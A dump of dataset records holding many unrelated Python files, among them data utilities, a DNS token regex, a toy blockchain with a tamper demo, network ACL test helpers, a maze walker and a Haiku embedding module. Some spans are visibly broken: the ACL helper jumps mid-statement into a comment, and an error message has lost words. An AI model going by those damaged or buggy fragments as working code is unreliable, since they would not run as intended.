function_timer\n\n\ndef memo(func):\n \"\"\"\n memoization for recursive func\n \"\"\"\n cache = {}\n ii = []\n @wraps(func)\n def wrap(*args):\n if args not in cache:\n cache[args] = func(*args)\n #print 'len(cache): {0}, ii: {1}'.format(len(cache), len(ii))\n ii.append(1)\n return cache[args]\n return wrap\n\n\ndef colors(flag=True):\n ok = '\\033[92m'\n fail = '\\033[91m'\n close = '\\033[0m'\n\n if flag:\n print(ok + 'True' + close)\n else:\n print(fail + 'False' + close)\n\n\ndef get_logger(log_file=None, mode='w'):\n import logging\n\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n ch.setFormatter(formatter)\n\n fh = logging.FileHandler(log_file, mode=mode)\n fh.setLevel(logging.DEBUG)\n fh.setFormatter(formatter)\n\n logger.addHandler(ch)\n logger.addHandler(fh)\n return logger\n\n\ndef run_multiprocess(task_list, worker, num_processes=4):\n print('MultiProcess num: {0}'.format(num_processes))\n count = multiprocessing.Value('d', 0.0)\n task_queue = multiprocessing.Queue()\n done_queue = multiprocessing.Queue()\n\n\n for t in task_list:\n task_queue.put(t)\n for ii in range(num_processes):\n multiprocessing.Process(target=worker, args=(task_queue, done_queue, count)).start()\n\n done_list = []\n for ii in range(len(task_list)):\n try:\n done_list.append(done_queue.get(timeout=1))\n except Queue.Empty:\n break\n\n for ii in range(num_processes):\n task_queue.put('STOP')\n\n\n return done_list\n\n\ndef gen_batch(x, index_array):\n \"\"\"\n arguments:\n x: dict, list, tuple, numpy.ndarray\n index_array: list of idx, or keys, or 1D array of integers\n return:\n batch of x with same type as x\n \"\"\"\n if not isinstance(x, (dict, list, tuple, np.ndarray)):\n raise Exception(\"Unvalid dtype {0}; \".format(type(X)) +\n \"Only , , and are valid.\")\n\n if isinstance(x, dict):\n batch_x = {}\n for idx in index_array:\n batch_x.update({idx: x[idx]}) # copy.deepcopy() ???\n else:\n batch_x = []\n for idx in index_array:\n batch_x.append(x[idx])\n if isinstance(x, tuple):\n batch_x = tuple(batch_x)\n elif isinstance(x, np.ndarray):\n batch_x = np.asarray(batch_x, dtype=x.dtype)\n\n return batch_x\n\n\ndef func_name():\n import traceback\n return traceback.extract_stack(None, 2)[0][2]\n","sub_path":"gs_code/ngf/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":13168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"422267790","text":"def _indent(level, inner):\n inner = inner.strip()\n inner = inner.split('\\n')\n sep = '\\n' + r' ' * level\n inner = sep.join(inner)\n return inner\n\n\n_DELIMITER_CHRE = r'''\n# delimiter char.\n[()]\n'''[1:-1]\n\n_SAFE_CHRE = r'''\n# safe char.\n[^(\")\\s\\\\]\n'''[1:-1]\n\n_NOT_BACKSLASH_QUOTE_CHRE = r'''\n# not backslash not quote.\n[^\\\\\"]\n'''\n\n_ESCAPED_CHRE = r'''\n# escaped char. \"quoted\" in the rfc.\n\\\\(?:\n \\d{3}\n|\n .\n)\n'''[1:-1]\n\n_COOKED_CHRE = r'''\n# cooked char.\n(?:\n %s\n|\n %s\n)\n'''[1:-1] % (_indent(4, _NOT_BACKSLASH_QUOTE_CHRE), _indent(4, _ESCAPED_CHRE))\n\n_QUOTED_RE = r'''\n# quoted. a string beginning with a \" and ending with a \" in the rfc.\n# in the rfc, only the meaningful esq-seq between \"~\" is \\\",\n# but bind9 actually handles other seqs.\n\"\n %s*\n\"\n'''[1:-1] % _indent(4, _COOKED_CHRE)\n\n_WORD_RE = r'''\n# word. a contiguous set of characters without interior spaces in the rfc.\n(?:\n %s\n|\n %s\n)+\n'''[1:-1] % (_indent(4, _SAFE_CHRE), _indent(4, _ESCAPED_CHRE))\n\n_DELIMITER_CHRE, _QUOTED_RE, _WORD_RE = (\n _indent(4, y) for y in (_DELIMITER_CHRE, _QUOTED_RE, _WORD_RE)\n)\n\n_DEFAULT_TOKEN_RE = r'''\n(?:\n %(_DELIMITER_CHRE)s\n|\n %(_QUOTED_RE)s\n|\n %(_WORD_RE)s\n)\n'''[1:-1] % globals()\n\n\ndef __setup():\n # not to export `compile`, `X`.\n # just to export compiled re.\n from yanother.six.re import compile as regex, X as RX\n return regex(_DEFAULT_TOKEN_RE, RX),\n\n\nDEFAULT_TOKEN_CRE, = __setup()\nOPAREN, CPAREN = r'()'\n","sub_path":"rfz1035/lex/token_def.py","file_name":"token_def.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"641708768","text":"# Autor: Roberto Emmanuel González Muñoz\r\n# Escribe un programa que lea el valor de cada uno de\r\n# los lados de un triángulo (puede ser en cualquier orden).\r\n\r\n\r\ndef esTrianguloRectagulo(a, b, c):\r\n if a*a == b*b + c*c:\r\n return True\r\n if b*b == a*a + c*c:\r\n return True\r\n if c*c == b*b + a*a:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef esTrianguloIsoceles(a, b, c):\r\n if a == b and c != a:\r\n return True\r\n if a == c and b != a:\r\n return True\r\n if b == c and b != a:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef esTrianguloEquilatero(a, b, c):\r\n if a == b and b == c:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef main():\r\n # Pregunta la medida de los lados de un triángulo.\r\n ladoA = int(input(\"Teclea el primer lado del triángulo: \"))\r\n ladoB = int(input(\"Teclea el segundo lado del triángulo: \"))\r\n ladoC = int(input(\"Teclea el tercer lado del triángulo: \"))\r\n\r\n # Determina el tipo de triángulo.\r\n if ladoA > 0 and ladoB > 0 and ladoC > 0:\r\n trianguloRectangulo = esTrianguloRectagulo(ladoA, ladoB, ladoC)\r\n trianguloIsoceles = esTrianguloIsoceles(ladoA, ladoB, ladoC)\r\n trianguloEquilatero = esTrianguloEquilatero(ladoA, ladoB, ladoC)\r\n else:\r\n return print(\"Estos lados no corresponden a un triángulo.\")\r\n\r\n # Evalúa cual de los 4 tipos de triiángulo se obtiene con los lados dados triángulo.\r\n if trianguloRectangulo == True:\r\n print(\"El triángulo es Rectángulo.\")\r\n elif trianguloEquilatero == True:\r\n print(\"El tríangulo es Equilátero.\")\r\n elif trianguloIsoceles == True:\r\n print(\"El triángulo es Isóceles.\")\r\n else:\r\n print(\"El triángulo es de otro tipo\")\r\n\r\n\r\nmain()","sub_path":"Triángulo.py","file_name":"Triángulo.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"58054686","text":"genesis_block = {\n \"previous_hash\": \"\",\n \"index\": 0,\n \"transactions\": []\n}\nblockchain = [genesis_block]\nopen_transactions = []\nowner = \"Shashank\"\nparticipants = {\"Shashank\"}\n\n\ndef hash_block(block):\n return \"-\".join([str(block[key]) for key in block])\n\n\ndef get_balance(participant):\n return [[txn[\"amount\"] for txn in block[\"transactions\"] if txn[\"sender\"] == participant] for block in blockchain]\n\n\ndef add_value(recipient, sender=owner, amount=1.0):\n \"\"\"\n Append a new value as well as the last blockchain value to the blockchain\n\n Arguments:\n :sender: The sender of coins\n :recipient: The reciever of coins\n :amount: The amount of coin sent with the transaction, (default [1.0])\n \"\"\"\n transaction = {\n \"sender\": sender,\n \"recipient\": recipient,\n \"amount\": amount\n }\n\n open_transactions.append(transaction)\n\n participants.add(sender)\n participants.add(recipient)\n\n\ndef mine_block():\n \"\"\" Mining a block in a block chain \"\"\"\n last_block = blockchain[-1]\n block = {\n \"previous_hash\": hash_block(last_block),\n \"index\": len(blockchain),\n \"transactions\": open_transactions\n }\n\n blockchain.append(block)\n return True\n\n\ndef get_transaction_value():\n # get the recipient name\n txn_recipient = input(\"Enter the recipient name: \")\n\n # get the transaction amount\n txn_amount = float(input(\"Enter the transaction amount \"))\n\n # return the tuple of transaction\n return txn_recipient, txn_amount\n\n\ndef get_user_choice():\n return input(\"Enter your choice: \")\n\n\ndef print_blockchain_elements():\n print(\"---\" * 10)\n print(\"Outputting Block\")\n print(\"---\" * 10)\n for block in blockchain:\n print(block)\n else:\n print(\"---\" * 10)\n\n\ndef verify_chain():\n \"\"\" Verify the current blockchain and return True if it is valid \"\"\"\n for (index, block) in enumerate(blockchain):\n if index == 0:\n continue\n if block[\"previous_hash\"] != hash_block(blockchain[index - 1]):\n return False;\n return True\n\n\nwaiting_for_input = True\n\nwhile waiting_for_input:\n # ask user to make his/her choice\n print(\"Please choose: \")\n print(\"1: Add a new transaction value\")\n print(\"2: Mine a new block\")\n print(\"3: Output the blockchain blocks\")\n print(\"4: Output Participants\")\n print(\"h: Manipulate the chain\")\n print(\"q: Exit the program\")\n\n # get user choice\n user_choice = get_user_choice()\n\n if user_choice == \"1\":\n recipient, amount = get_transaction_value()\n add_value(recipient, amount=amount)\n elif user_choice == \"2\":\n if mine_block():\n open_transactions = []\n elif user_choice == \"3\":\n print_blockchain_elements()\n elif user_choice == \"4\":\n print(participants)\n elif user_choice == \"h\":\n if len(blockchain) >= 1:\n blockchain[0] = {\n \"previous_hash\": \"\",\n \"index\": 0,\n \"transactions\": [{\n \"sender\": \"Chris\",\n \"recipient\": \"Shashank\",\n \"amount\": 10\n }]\n }\n elif user_choice == \"q\":\n waiting_for_input = False\n else:\n print(\"Invalid input please pick a value from the list\")\n\n if not verify_chain():\n print_blockchain_elements()\n break\n print(get_balance(\"Shashank\"))\nelse:\n print(\"User left\")\n","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"481982603","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2016 Hewlett Packard Enterprise Development LP\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\nfrom re import search, findall\nfrom topology_lib_scapy.library import ScapyThread, send_traffic, sniff_traffic\nfrom topology_lib_vtysh import exceptions\nfrom time import sleep\nfrom ipaddress import ip_address, IPv4Address\nfrom datetime import datetime\nimport re\n\nfrom acl_protocol_names import get_ipv4_protocol_name\n\n\n\"\"\"\nUse Case for Library Functions:\n filter_str = (\n \"lambda p: ICMP in p and p[IP].src == '10.0.10.1' \"\n \"and p[IP].dst == '10.0.10.2'\"\n )\n\n configure_acl_l3(\n ops1, 'ip', 'test', '40', 'permit', 'any', '10.0.10.1',\n '', '10.0.10.2', '', ''\n )\n\n apply_acl(ops1, 'port', '1', 'ip', 'test', 'in')\n\n create_and_verify_traffic(\n topology, hs1, hs2, '10.0.10.1',\n '', '10.0.10.2', '', 'IP/ICMP',\n filter_str, 10, True\n )\n\n unconfigure_acl(ops1, 'test')\n\"\"\"\n\n\ndef configure_acl_l3(\n sw, acl_addr_type, acl_name, seq_num, action, proto, src_ip,\n src_port, dst_ip, dst_port, count, log='', retries=3,\n polling_frequency=2\n ):\n \"\"\"\n Configure an ACL with one permit or one deny rule\n \"\"\"\n\n assert sw is not None\n assert acl_addr_type in ('ip') # Will add ipv6 in future, but not mac\n assert isinstance(acl_name, str)\n assert isinstance(seq_num, str)\n assert action in ('permit', 'deny')\n assert isinstance(proto, str)\n assert isinstance(src_ip, str)\n assert isinstance(src_port, str)\n assert isinstance(dst_ip, str)\n assert isinstance(dst_port, str)\n assert count in ('count', '')\n assert log in ('log', '')\n assert isinstance(retries, int)\n assert isinstance(polling_frequency, int)\n\n if log == 'log':\n display_str = 'log'\n elif count == 'count':\n display_str = 'count'\n else:\n display_str = ''\n\n if acl_addr_type == 'ip':\n with sw.libs.vtysh.ConfigAccessListIp(acl_name) as ctx:\n try:\n getattr(ctx, action)(\n '',\n seq_num, proto, src_ip, src_port,\n dst_ip, dst_port, count, log\n )\n except exceptions.EchoCommandException:\n # If the command plus the command prompt is exactly\n # 80 characters then vtysh will echo the command back\n # in a telnet session and confuse the vtysh library.\n # This is a known bug.\n print(\"<<<<< EchoCommandException >>>>>\")\n except exceptions.UnknownVtyshException:\n # When the command plus the command promt is longer\n # then 80 characters then the telnet response confuses\n # the vtysh library. This is a known bug.\n print(\"<<<<< UnknownVtyshException >>>>>\")\n\n ace_args = [seq_num, action, get_ipv4_protocol_name(proto),\n tailor_ip_addr_for_show_run(src_ip), src_port,\n tailor_ip_addr_for_show_run(dst_ip), dst_port,\n display_str]\n ace_str = ' '.join(args for args in ace_args)\n print('action_line_str is {}'.format(ace_str))\n else:\n # TODO: add ipv6 here\n assert False\n\n wait_on_warnings(\n sw=sw, retries=retries, polling_frequency=polling_frequency\n )\n\n ace_re = re.compile(re.sub('\\s+', '\\s+', ace_str.strip()))\n test_result = sw('show access-list {acl_addr_type} {acl_name} commands'\n .format(**locals()))\n assert re.search(ace_re, test_result)\n\n\ndef apply_acl(\n sw, app_type, interface_num, acl_addr_type, acl_name, direction,\n retries=3, polling_frequency=2\n ):\n \"\"\"\n Apply ACL on interface in ingress or egress direction\n \"\"\"\n assert sw is not None\n assert app_type in ('port', 'vlan') # Will add tunnel in future\n assert acl_addr_type in ('ip', 'ipv6', 'mac')\n\n # If the app_type is port, then interface_num is the port number the acl\n # should be applied to. If vlan, then the VLAN number. If tunnel, then\n # tunnel number.\n assert isinstance(interface_num, str)\n assert isinstance(acl_name, str)\n assert direction in ('in', 'out')\n\n if app_type == 'port':\n if direction == 'in':\n with sw.libs.vtysh.ConfigInterface(interface_num) as ctx:\n ctx.apply_access_list_ip_in(acl_name)\n elif direction == 'out':\n with sw.libs.vtysh.ConfigInterface(interface_num) as ctx:\n ctx.apply_access_list_ip_out(acl_name)\n else:\n # Undefined direction\n assert(False)\n else:\n # Undefined ACL application type\n assert(False)\n\n wait_on_warnings(sw, retries, polling_frequency)\n\n test_result = ''\n if app_type == 'port':\n actual_port = sw.ports.get(interface_num, interface_num)\n test_result = sw('show access-list interface {actual_port} commands'\n .format(**locals()))\n else:\n # app_type not implemented yet\n assert False\n\n assert re.search(\n r'(apply\\s+access-list\\s+{acl_addr_type}\\s+{acl_name}\\s+'\n '{direction})'.format(**locals()),\n test_result\n )\n\n\ndef unconfigure_acl(sw, acl_addr_type, acl_name):\n \"\"\"\n Remove an ACL\n \"\"\"\n assert sw is not None\n assert acl_addr_type in ('ip', 'ipv6', 'mac')\n assert isinstance(acl_name, str)\n\n if acl_addr_type == 'ip':\n with sw.libs.vtysh.Configure() as ctx:\n ctx.no_access_list_ip(acl_name)\n else:\n # ipv6 and mac not implemented yet\n assert False\n\n test_result = sw('show run')\n assert search(r'(access-list\\s+{acl_addr_type}\\s+{acl_name}(?!\\S))'\n .format(**locals()), test_result) is None\n\n\ndef create_and_verify_traffic(\n topology, tx_host, rx_host, src_ip,\n src_port, dst_ip, dst_port, proto_str,\n filter_str, tx_count, rx_expect\n ):\n assert topology is not None\n assert tx_host is not None\n assert rx_host is not None\n assert isinstance(src_ip, str)\n assert isinstance(dst_ip, str)\n assert isinstance(src_port, str)\n assert isinstance(dst_port, str)\n assert isinstance(proto_str, str) and \\\n proto_str in ('IP/UDP', 'IP/ICMP')\n\n # The filter_str is expected to be a string. Below is an example for a\n # UDP packet:\n # filter_udp = \"lambda p: UDP in p and p[UDP].dport == 48621 and \" \\\n # \"p[IP].src == '1.1.1.1' and p[IP].dst == '1.1.1.2'\"\n assert isinstance(filter_str, str)\n assert isinstance(tx_count, int)\n assert isinstance(rx_expect, bool)\n\n ip_packet = tx_host.libs.scapy.ip(\"dst='%s', src='%s'\" % (dst_ip, src_ip))\n\n if proto_str == 'IP/UDP':\n proto_packet = tx_host.libs.scapy.udp()\n if dst_port != '':\n proto_packet['dport'] = int(dst_port)\n if src_port != '':\n proto_packet['sport'] = int(src_port)\n result_index = 1\n elif proto_str == 'IP/ICMP':\n proto_packet = tx_host.libs.scapy.icmp()\n result_index = 2\n else:\n assert False\n\n list1 = [ip_packet, proto_packet]\n port_str = '1'\n timeout = 25\n\n txthread = ScapyThread(\n send_traffic,\n tx_host.identifier, topology, proto_str, list1, '', tx_count,\n '', 0)\n\n rxthread = ScapyThread(\n sniff_traffic,\n rx_host.identifier, topology, '', [], filter_str, tx_count,\n port_str, timeout)\n\n rxthread.start()\n txthread.start()\n\n txthread.join()\n rxthread.join()\n\n if rxthread.outresult():\n rest, sniffcnt = rxthread.outresult().split(' or\n # /w.x.y.z, but show run only outputs the /w.x.y.z prefix specification.\n # This function tailors the ip_str in to the 'show run' form if not already\n assert(ip_str is not None and isinstance(ip_str, str) and ip_str != '')\n\n if ip_str == 'any' or ip_str.find('/') == -1:\n return ip_str\n else:\n ip_obj = ip_address(ip_str[0: ip_str.find('/')])\n if ip_obj.version == 4:\n if '.' in ip_str[ip_str.find('/'):]:\n return ip_str\n else:\n # convert / prefix notation to /w.x.y.z notation\n nbits = int(ip_str[ip_str.find('/') + 1:])\n if nbits == 32:\n return ip_str[0: ip_str.find('/')]\n else:\n prefix_val = (0xFFFFFFFF >> nbits) ^ 0xFFFFFFFF\n prefix_str = str(IPv4Address(prefix_val))\n return ip_str[0: ip_str.find('/') + 1] + prefix_str\n else:\n # IPv6 not implemented yet\n assert False\n\n\ndef wait_on_warnings(sw, retries=3, polling_frequency=2):\n\n acl_mismatch_warning = \\\n \"user configuration does not match active configuration.\"\n\n for count in list(range(retries)):\n if acl_mismatch_warning not in sw('show run'):\n break\n else:\n sleep(polling_frequency)\n else:\n print(\"Failed to apply configuration\")\n assert False\n","sub_path":"ops-classifierd/ops-tests/feature/acl_classifier_common_lib.py","file_name":"acl_classifier_common_lib.py","file_ext":"py","file_size_in_byte":13703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"178731518","text":"#!/usr/bin/env python3\n\"\"\"lab20_2.py (Optional) -- deals card hands:\nlab20_2.py -- deals 4 hands of 5 cards\nlab20_2.py -p 6 -c 3 -- deals 6 hands of 3 cards\n\"\"\"\nimport os, sys\nsys.path.insert(0, os.path.join(os.path.split(__file__)[0], '..'))\nimport Lab19_Extending_Builtins.lab19_3 as game_dealer\n\ndef main():\n import optparse\n parser = optparse.OptionParser(\n \"%prog [-p number_of_players=4] [-c number_of_cards=5]\")\n parser.add_option(\"-p\", \"--players\", dest=\"no_players\", \n help=\"number of players\", default=4)\n parser.add_option(\"-c\", \"--cards\", dest=\"no_cards\", \n help=\"number of cards per hand\",\n default=5)\n (options, args) = parser.parse_args()\n if len(args) > 0:\n parser.error(f\"I don't recognize {' '.join(args)}\")\n print(game_dealer.GameDealer(options.no_players,\n options.no_cards))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python3/code/Lab20_Developer_Modules/lab20_2.py","file_name":"lab20_2.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"161693077","text":"class Solution:\n def myAtoi(self, str: str) -> int:\n ret = 0\n neg = False\n abs_list = []\n for i, s in enumerate(str):\n if s == ' ' and len(abs_list) == 0:\n continue\n elif s == '+' or s == '-':\n if i + 1 >= len(str):\n return 0\n if not str[i + 1].isdigit():\n return 0\n if s == '-':\n neg = True\n elif s.isdigit():\n abs_list.append(s)\n else:\n break\n if len(abs_list) == 0:\n return 0\n abs_list.reverse()\n for i, s in enumerate(abs_list):\n ret += int(s) * (10 ** i)\n if neg:\n ret = 0 - ret\n if ret > 0:\n return min(ret, 2147483647)\n else:\n return max(ret, -2147483648)\n\n\nprint(Solution().myAtoi('+0 123'))\n","sub_path":"Solutions/8Atoi.py","file_name":"8Atoi.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"433642335","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 9 23:56:23 2017\nSolving mazes using Python: Simple recursivity and A* search\n\nWe use a nested list of integers to represent the maze.\nDiagonal movement not allowed \nThe values are the following:\n\n0: empty cell\n1: unreachable cell: e.g. wall\n2: ending cell\n3: visited cell\n\n@author: SROY\n\"\"\"\ngrid = [[0, 0, 0, 0, 0, 1],\n [1, 1, 0, 0, 0, 1],\n [0, 0, 0, 1, 0, 0],\n [0, 1, 1, 0, 0, 1],\n [0, 1, 0, 0, 1, 0],\n [0, 1, 0, 0, 0, 2]]\n \n# x,y -> 5,0 to 5,5\nx=0; y=0 \nprint(\"Starting at (x,y)=(\"+ str(x) + \",\" + str(y)+\")\")\nsteps = 0 # Counting the steps\nvisited = 3 # Visited Flag\ncheck = 8 # Check flag when we have two routes\n\nwhile (1==1):\n # One move per counter\n # to reach 5,5 lets consider down and right movement preference\n # This preference will only be reversed based on relative distance\n\n if (x < 5 and grid[x+1][y] == 0) and (y <5 and grid[x][y+1] == 0):\n # Two routes confusion\n grid[x][y] = visited\n print(\"Two routes confusion at (\"+ str(x) + \",\" + str(y)+\")\")\n i=0;j=0\n for i in range(6):\n for j in range(6):\n if grid[i][j] == check:\n grid[i][j] = 3 \n visited = check\n route1 = [x+1, y] #Down\n route2 = [x, y+1] #Right\n recount = steps\n\n # Check down cell\n if x < 5 and grid[x+1][y] == 0:\n print(\"down\")\n grid[x][y] = visited # Assign traversed cell to 3\n x= x+1; y = y # Set X,Y to new Value \n steps +=1 # Count Steps \n continue # Loop to next if job done\n\n # Check right cell\n if y < 5 and grid[x][y+1] == 0:\n print(\"right\")\n grid[x][y] = visited \n x= x; y = y+1\n steps +=1\n continue\n \n # Check top cell\n if x > 0 and grid[x-1][y] == 0:\n print(\"top\")\n grid[x][y] = visited \n x= x-1; y = y\n steps +=1\n continue\n \n # Check left cell\n if y > 0 and grid[x][y-1] == 0:\n print(\"left\")\n grid[x][y] = visited \n x= x; y = y-1\n steps +=1\n continue\n\n if (x == 5 and y < 5 and grid[x][y+1] == 2) or (x < 5 and y ==5 and grid[x+1][y] == 2):\n print(\"Reached at (x,y)=(5,5)\")\n print (\"It took \" + str(steps) + \" steps to reach destination\")\n i=0;j=0\n for i in range(6):\n for j in range(6):\n if grid[i][j] == check:\n grid[i][j] = 3 \n break\n \n print(\"!!!Stalemate!!!\")\n print(\"........Choose alternate route........\")\n i=0;j=0\n for i in range(6):\n for j in range(6):\n if grid[i][j] == check:\n grid[i][j] = 0\n # Start route 2\n visited = 3; x = route2[0]; y = route2[1]; steps = recount\n print(\"........Restarting at (x,y) = (\"+str(x)+\",\"+str(y)+\")\") \n \n\n","sub_path":"gridSearch.py","file_name":"gridSearch.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"51054097","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('happenings', '0011_update_cms_plugin_fks'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='eventrestriction',\n name='description',\n field=models.CharField(max_length=255, verbose_name='description', blank=True),\n ),\n ]\n","sub_path":"happenings/migrations/0012_add_restriction_description.py","file_name":"0012_add_restriction_description.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"640830937","text":"# File ported from: https://raw.githubusercontent.com/deepmind/dm-haiku/master/haiku/_src/embed.py\n\n\"\"\"Modules for performing embedding lookups in Haiku.\"\"\"\n\nfrom enum import Enum, auto\nimport typing as tp\n\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\n\nfrom elegy.module import Module\nfrom elegy import initializers, types\n\n\nclass EmbedLookupStyle(Enum):\n \"\"\"How to return the embedding matrices given IDs.\"\"\"\n\n ARRAY_INDEX = 1\n ONE_HOT = 2\n\n\nclass Embedding(Module):\n \"\"\"Module for embedding tokens in a low-dimensional space.\"\"\"\n\n def __init__(\n self,\n vocab_size: tp.Optional[int] = None,\n embed_dim: tp.Optional[int] = None,\n embedding_matrix: tp.Optional[jnp.ndarray] = None,\n w_init: tp.Optional[types.Initializer] = None,\n lookup_style: tp.Union[str, EmbedLookupStyle] = \"ARRAY_INDEX\",\n name: tp.Optional[str] = None,\n ):\n \"\"\"Constructs an Embed module.\n Args:\n vocab_size: The number of unique tokens to embed. If not provided, an\n existing vocabulary matrix from which ``vocab_size`` can be inferred\n must be provided as ``embedding_matrix``.\n embed_dim: Number of dimensions to assign to each embedding. If an\n existing vocabulary matrix initializes the module, this should not be\n provided as it will be inferred.\n embedding_matrix: A matrix-like object equivalent in size to\n ``[vocab_size, embed_dim]``. If given, it is used as the initial value\n for the embedding matrix and neither ``vocab_size`` or ``embed_dim``\n need be given. If they are given, their values are checked to be\n consistent with the dimensions of ``embedding_matrix``.\n w_init: An initializer for the embeddings matrix. As a default,\n embeddings are initialized via a truncated normal distribution.\n lookup_style: One of the enum values of :class:`EmbedLookupStyle`\n determining how to access the value of the embeddings given an ID.\n Regardless the input should be a dense array of integer values\n representing ids. This setting changes how internally this module maps\n those ids to embeddings. The result is the same, but the speed and\n memory tradeoffs are different. It defaults to using NumPy-style array\n indexing. This value is only the default for the module, and at any\n given invocation can be overridden in :meth:`__call__`.\n name: tp.Optional name for this module.\n Raises:\n ValueError: If none of ``embed_dim``, ``embedding_matrix`` and\n ``vocab_size`` are supplied, or if ``embedding_matrix`` is supplied\n and ``embed_dim`` or ``vocab_size`` is not consistent with the\n supplied matrix.\n \"\"\"\n super().__init__(name=name)\n if embedding_matrix is None and not (vocab_size and embed_dim):\n raise ValueError(\n \"hk.Embed must be supplied either with an initial `embedding_matrix` \"\n \"or with `embed_dim` and `vocab_size`.\"\n )\n\n if embedding_matrix is not None:\n embedding_matrix = jnp.asarray(embedding_matrix)\n if vocab_size and embedding_matrix.shape[0] != vocab_size:\n raise ValueError(\n \"An `embedding_matrix` was supplied but the `vocab_size` of \"\n f\"{vocab_size} was not consistent with its shape \"\n f\"{embedding_matrix.shape}.\"\n )\n if embed_dim and embedding_matrix.shape[1] != embed_dim:\n raise ValueError(\n \"An `embedding_matrix` was supplied but the `embed_dim` of \"\n f\"{embed_dim} was not consistent with its shape \"\n f\"{embedding_matrix.shape}.\"\n )\n assert embedding_matrix is not None\n w_init = lambda *args: embedding_matrix\n vocab_size = embedding_matrix.shape[0]\n embed_dim = embedding_matrix.shape[1]\n\n assert vocab_size is not None and embed_dim is not None\n\n self.vocab_size = vocab_size\n self.embed_dim = embed_dim\n self.lookup_style = lookup_style\n self.w_init = w_init or initializers.TruncatedNormal()\n\n @property\n def embeddings(self):\n return self.add_parameter(\n \"embeddings\",\n lambda: self.w_init([self.vocab_size, self.embed_dim], self.dtype),\n )\n\n def call(\n self,\n ids: jnp.ndarray,\n lookup_style: tp.Optional[tp.Union[str, EmbedLookupStyle]] = None,\n ) -> jnp.ndarray:\n r\"\"\"Lookup embeddings.\n Looks up an embedding vector for each value in ``ids``. All ids must be\n within ``[0, vocab_size)`` to prevent ``NaN``\\ s from propagating.\n Args:\n ids: integer array.\n lookup_style: Overrides the ``lookup_style`` given in the constructor.\n Returns:\n Tensor of ``ids.shape + [embedding_dim]``.\n Raises:\n AttributeError: If ``lookup_style`` is not valid.\n ValueError: If ``ids`` is not an integer array.\n \"\"\"\n # TODO(tomhennigan) Consider removing asarray here.\n ids = jnp.asarray(ids)\n if not jnp.issubdtype(ids.dtype, jnp.integer):\n raise ValueError(\n \"hk.Embed's __call__ method must take an array of \"\n \"integer dtype but was called with an array of \"\n f\"{ids.dtype}\"\n )\n\n lookup_style = lookup_style or self.lookup_style\n if isinstance(lookup_style, str):\n lookup_style = getattr(EmbedLookupStyle, lookup_style.upper())\n\n if lookup_style == EmbedLookupStyle.ARRAY_INDEX:\n # If you don't wrap ids in a singleton tuple then JAX will try to unpack\n # it along the row dimension and treat each row as a separate index into\n # one of the dimensions of the array. The error only surfaces when\n # indexing with DeviceArray, while indexing with numpy.ndarray works fine.\n # See https://github.com/google/jax/issues/620 for more details.\n # Cast to a jnp array in case `ids` is a tracer (eg un a dynamic_unroll).\n return jnp.asarray(self.embeddings)[(ids,)]\n\n elif lookup_style == EmbedLookupStyle.ONE_HOT:\n one_hot_ids = jax.nn.one_hot(ids, self.vocab_size)[..., None]\n return (self.embeddings * one_hot_ids).sum(axis=-2)\n\n else:\n raise NotImplementedError(f\"{lookup_style} is not supported by hk.Embed.\")\n","sub_path":"elegy/nn/embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":6661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"42210594","text":"import numpy as np\n\ndef nextAction(Q, cache = (0.1), policy = 'e-greedy'):\n\n\tproblems, N = Q.shape;\n\t\n\n\tif policy == 'greedy':\n\n\t\tnextActions = np.apply_along_axis(np.argmax, 1, Q);\n\t\n\tif policy == 'e-greedy':\n\n\t\t# Masks for getting max Q in each problem\n\t\tmaxMask = np.zeros(Q.shape);\n\t\tmaxMask[np.arange(problems), np.apply_along_axis(np.argmax, 1, Q)] = 1;\n\t\n\t\t# Nextaction find: 1.) get a Q that is not the max assuming a uniform distribution.\n\t\t# 2.) choose max Q action and the uniform random Q action with a probability of 1-eps and eps resply\n\t\tnotMaxDist = np.apply_along_axis(np.random.choice, 1, np.where(maxMask != 1)[1].reshape(problems, N - 